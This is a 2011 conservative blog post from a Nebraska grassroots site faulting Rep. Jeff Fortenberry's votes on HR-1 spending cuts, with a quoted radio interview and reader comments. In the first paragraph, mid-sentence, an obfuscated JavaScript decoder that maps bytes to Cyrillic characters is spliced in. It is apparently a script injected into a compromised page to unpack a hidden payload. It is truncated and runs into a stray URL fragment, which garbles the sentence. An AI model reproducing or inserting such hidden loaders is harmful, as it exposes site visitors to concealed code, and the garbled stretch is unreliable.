Grassroots in Nebraska

Working towards Constitutional, limited government

  • Home
  • About
    • About GiN
    • Principles
    • Operating Philosophy
    • Policies
  • Elections
    • Election 2016
    • Election 2014
    • Election 2012
    • Election 2010
    • Local Elections
    • Sample Ballots
  • Local
    • City of Lincoln
    • Lancaster County
  • State
    • Your Representatives
    • Governor
    • NE Unicameral
  • Federal
  • Contact
    • Subscribe
    • Tip Submissions
You are here: Home / Federal / Budget / Deserving of Darts – Again – Jeff Fortenberry’s Vote on Spending Cuts

Deserving of Darts – Again – Jeff Fortenberry’s Vote on Spending Cuts

Originally published March 10, 2011, By Linda. Updated March 9, 2012. 6 Comments

I read the news online each morning and sometimes become inspired to post comments concerning certain of the articles I encounter.  I recently got drawn into a function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-politics/article_d65bbdda-b86c-58a6-94f6-f62dfd75093f.html?mode=comments">discussion on the Lincoln Journal Star website about public employee unions and collective bargaining in Nebraska.  A fellow who identifies himself as "World's End" accused me of being a Libertarian.  (For all of you Libertarians out there reading this, "accused" is the correct word choice.  World's End thought he was "outing" me because I had claimed in the thread to be a registered Republican.)  He reached the conclusion I was a Libertarian after reading some of the articles at this website that he said had "harsh words" for the Republican Party.  I replied:

"As for your comment that you can't believe I'm a Republican because we have harsh words for Repubs over at the GiN website, I have to say I'm glad you noticed but, at the same time, I'm not surprised you think that's unusual. It is unusual. Our primary motivation at GiN is principle, not party. I personally feel I have a lot more in common with Republicans politically than with Democrats, Independents, or even Libertarians, so I register Republican. But, if you want to understand why we tend to come down on the GOP so hard at GiN, I ask you: Who disappoints you the most when they don't live up to your expectations, someone who says he's your friend (with whom you thought you shared common beliefs and values) or a complete stranger?"

That being said, I'm sorry to say that two out of three of the Republican House members representing Nebraska have gone and done it again.  They've disappointed me, BIG TIME.  I'm talking about Representatives Lee Terry and Jeff Fortenberry.

The Heritage Foundation compiled all of the votes on the amendments to the government funding bill, HR-1, that proposed to cut non-security spending. Heritage excluded amendments that proposed to shift spending from one program to another or sought to block various Obama policies—whether it be the many amendments to defund Obamacare or turn off the EPA’s rule making authority, choosing to look solely at the unambiguous spending cuts to see how Congress and individual House members did.

If I graded their performance the same way I grade my students in the classes I teach, Rep. Terry would get a C-.  Rep. Fortenberry would receive an F.  Terry could bring himself to vote for only 71% of the spending cuts.  Fortenberry could find it in himself to support only 43% of them.

 

How bold are these cuts?  Since Jeff Fortenberry was only willing to vote for 43% of them, he could "boldly and authentically" support cutting only a sliver of the sliver that is pictured in the chart in green.

Fortenberry, in particular, deserves darts for his habit of speaking as a fiscal conservative when he's in Nebraska and voting to spend like a drunken sailor when he's in Washington.  I defy you to square this latest example of his voting record with these comments he made in a pre-election interview on a local radio station in late October or early November, 2010:

MACK: Congressman, do you think that Republicans and Democrats in Congress, do you think that they've gotten the message that people really are kind of tired of the politics as usual and are tired of, you know, government continuing to go into debt? Have they got the message?

FORTENBERRY: I think that to characterize the forthcoming election, if you -- if it happens this way, as some sort of Republican wave would be incorrect. I think that this is a wave of American sentiment against the system that needs to become more transparent, more accountable, and, frankly, there needs to be bold, authentic leadership that is willing to make hard decisions as to how we get the fiscal house in order, return to some of our most cherished traditions, and have the federal government go back to its rightful place in the basic things that it can and must do very well. I think that's what the American people are very, very clearly saying. I think that message has come through loud and clear --

MACK: Yeah, 'cause --

FORTENBERRY: -- and I think you can see it reflected.

MACK: I don't think that, as we go through this cycle and probably change power from Democrat to Republicans, I think people don't want the Republicans, then, to go in and just continue to spend and spend and spend like the money grew -- grows on trees, right?

FORTENBERRY: Well, look, the fed- -- The size of federal government has, basically, doubled in the last 10 years. Now, it's accelerated exponentially in the last two, but it has been growing steadily. And I -- Most families in America are living with the same amount of income they've had for the last couple of years or less, and, yet, the government has grown enormously. And forty -- About forty cents on every dollar that's being spent is actually borrowed. Now, you can't do that in your family very long. A business can't do that in the fa- -- in their operations for very long. But the government can do it, because it has a very large credit card, and it can hide the consequences of pushing future taxes on the children or selling the assets of the country overseas to China and other places, or creating inflationary effects, which are all long-term problems for economic viability. So, now is the time where serious leadership is needed to call the American people forth and say, “We must tighten the belt. We must get the fiscal house in order.” And we're going to have to have an authentic policy discussion as to how we do that and call for some shared sacrifice. If we do that --

MACK: If you're -- If you're re-elected, are you planning on trying to help lead that charge and, if so, how?

FORTENBERRY: Well, I think we've been a part of that all along. There's been -- Budgets are one thing, but budgets are divided up into appropriations bills. Some of those I've supported. Some of them I haven't. Just a few short years ago, I voted for something called a deficit reduction bill, which was $25 billion, and that's hardly anything now compared to the level of debt we have. But it was very difficult to vote on that, given the amount of push-back that came from persons concerned about the government funds that were being reduced. So, this is the message that we have to continue to put out there. Our long-term economic viability and, frankly, national security is at stake here. And, until we get the fiscal house in order, I don't think the economy is actually going to rebound as quickly as it should, because it's creating a great deal of uncertainty as to what government is doing, in terms of indebtedness and regulation. And that's going to be the first order of business.

Fortenberry's "leading the charge" all right, but someone should tell him he's headed toward the wrong goal post.  Oh, I guess I just did.

Bartender's Note: We may need to get Rep. Fortenberry his own dartboard here at the GiN Joint...he's using up all of our darts...

Thank you to Michael from the Omaha 9/12 for sharing the graphic!

Share this article:

  • Email
  • Print
  • Twitter
  • Facebook
  • Pinterest
  • Google
  • More
  • Tumblr
  • Reddit
  • Delicious
  • LinkedIn

Filed Under: Budget, Congress, Deficit, Government Spending, Jeff Fortenberry, Like Drunken Sailors, US House Tagged With: budget cuts, cd01 nebraska, congressman jeff fortenberry, deserving of darts, district 1, federal budget, federal deficit, federal revenues, federal spending, fortenberry spending record, government spending, house of representatives, jeff fortenberry, national debt, nebraska congress, nebraska congressman, proposed budget cuts, rep. fortenberry, representative jeff fortenberry, revenues, u.s. congress

Comments

  1. Caleb says

    March 10, 2011 at 8:44 am

    I saw those sames statistics on how our Nebraska representatives voted for the HR 1 amendments. Kudos to Adrian Smith for achieving 99%, but I am sorely disappointed with MY rep — Fortenberry — who seems to be all talk/hair and no spine.

    Reply
    • Shelli DawdyStubborn_Facts says

      March 11, 2011 at 4:23 am

      Caleb,
      Thanks for stopping by! I really appreciate the giggle —–> “all talk/hair” <——. Exactly! You've inspired me to do a redux of one of our favorite videos. We'll release it later this morning. I'll come back later and stick a link in here.

      I'd say I'm disappointed as well, but that clearly goes without saying. All we can do, it seems, is expose Fortenberry's record and start looking for a primary challenger.

      Reply
  2. scrosnoe says

    March 10, 2011 at 5:44 pm

    I like the way you explained why we have to be hard on our own Republican friends who fail sadly to walk the talk. Our Father in heaven lovingly disciplines us as His children and expects us to do so with our own children (dare I say our elected representatives here?) and calls us repeatedly to hold up a standard of righteousness and to be ‘salt and light’ wherever we go. Thank you Shelli Dawdy and Grassroots in Nebraska for attempting to do that very important task in Nebraska. Please keep shining the light so that many may ‘see’ and do what must be done! Blessings/sc

    Reply
    • Shelli DawdyStubborn_Facts says

      March 11, 2011 at 4:25 am

      Thanks, Sandie! We need the encouragement; some folks still seem to think that it is a good idea to keep playing the political games while we spend ourselves into oblivion.

      We have to give credit for tracking this one to Linda and for writing this post – it sure takes a team effort!

      Reply
  3. Glen says

    March 12, 2011 at 10:35 pm

    Which Jeff Fortenberry will respond to my letter expressing outrage at his grade on HR-1? The crusading budget reformer or the business as usual sell out?

    My favorite response was from Ben Nelson who basically said, “Look we had this budget under control until you TEA partying kooks derailed the Omnibus spending bill!”

    Maybe all this is too complicated for the people who pay their own bills. Maybe we need to be quiet and let them tax and spend us into serfdom. Maybe not.

    Reply
    • Shelli DawdyStubborn_Facts says

      March 12, 2011 at 11:48 pm

      Glen,
      Excellent question. I would add to the query, “Will the REAL Jeff Fortenberry please stand up?” But…I think that’s a real waste of time.

      If you have a mind, would you mind sharing any answer you do receive? I realize it will be sometime in, oh, May, likely by the time you get a response, but if you remember, we’d love to share it!

      Thanks as always for reading and taking the time to comment,
      Shelli

      Reply
You are here: Home / Federal / Budget / Deserving of Darts – Again – Jeff Fortenberry’s Vote on Spending Cuts

We welcome civil comments, discussion and debate: Cancel reply

We're glad you've chosen to join the discussion. All comments are moderated according to our official commenting policy.

If you wish to format your comment a bit, simply highlight text, then click the appropriate button. (b = bold, i = italics)

Latest

Dream Small

Dream Small

In 2016, during a period of about a year when it seemed possible -- even likely … Read full article...

Nebraska 2018 Primary Election Sample Ballots

Nebraska 2018 Primary Election Sample Ballots

Back by popular dem

loading Cancel
Post was not sent - check your email addresses!
Email check failed, please try again
Sorry, your blog cannot share posts by email.